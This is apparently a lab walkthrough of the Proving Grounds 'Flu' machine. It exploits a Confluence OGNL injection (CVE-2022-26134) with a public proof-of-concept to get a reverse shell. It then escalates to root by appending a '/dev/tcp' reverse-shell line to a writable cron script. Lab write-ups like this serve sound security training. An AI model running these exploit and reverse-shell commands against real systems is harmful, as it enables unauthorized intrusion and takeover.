Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA)
|_ 256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519)
8090/tcp open http Apache Tomcat (language: en)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 966E60F8EB85B7EA43A7B0095F3E2336
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Log In - Confluence
|_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
Enumeration
On port 8090 there is an instance of Atlassian Confluence v7.13.6 running.
Found some info on a OGNL Injection vulnerability in v7.13.6. CVE-2022-26134 There are multiple POCs available. Took a couple tries but I found one that worked.
https://github.com/jbaines-r7/through_the_wire
Exploitation
┌──(kali㉿kali)-[~/ProvingGrounds/Flu]
└─$ python3 through_the_wire.py --rhost 192.168.102.41 --rport 8090 --lhost 192.168.45.223 --protocol http:// --reverse-shell
_____ _ _
/__ \ |__ _ __ ___ _ _ __ _| |__
/ /\/ '_ \| '__/ _ \| | | |/ _` | '_ \
/ / | | | | | | (_) | |_| | (_| | | | |
\/ |_| |_|_| \___/ \__,_|\__, |_| |_|
|___/
_____ _ __ __ _
/__ \ |__ ___ / / /\ \ (_)_ __ ___
/ /\/ '_ \ / _ \ \ \/ \/ / | '__/ _ \
/ / | | | | __/ \ /\ /| | | | __/
\/ |_| |_|\___| \/ \/ |_|_| \___|
jbaines-r7
CVE-2022-26134
"Spit my soul through the wire"
🦞
[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a reverse shell payload
[+] Sending expoit at http://192.168.102.41:8090/
listening on [any] 1270 ...
connect to [192.168.45.223] from (UNKNOWN) [192.168.102.41] 44994
bash: cannot set terminal process group (820): Inappropriate ioctl for device
bash: no job control in this shell
confluence@flu:/opt/atlassian/confluence/bin$ ls
Once we’re in we can find the local.txt in confluence’s home directory
Privilege Escalation
Running linpeas doesn’t flag anything suspicious. I looked at a guide and there is apparently a hidden cron job. We will have to use pspy to find the hidden job. NOTE: I don’t know how the hell we were to deduce this, unless we’re going to run pspy on every box we hack…
Pspy shows us that there is a job running log-backup.sh as root every minute or so, and we have write permissions on this file.
We can append a reverse shell to the end of the file, set up a listener, and get a root shell.
echo 'sh -i >& /dev/tcp/192.168.45.223/4444 0>&1' >> log-backup.sh
Root.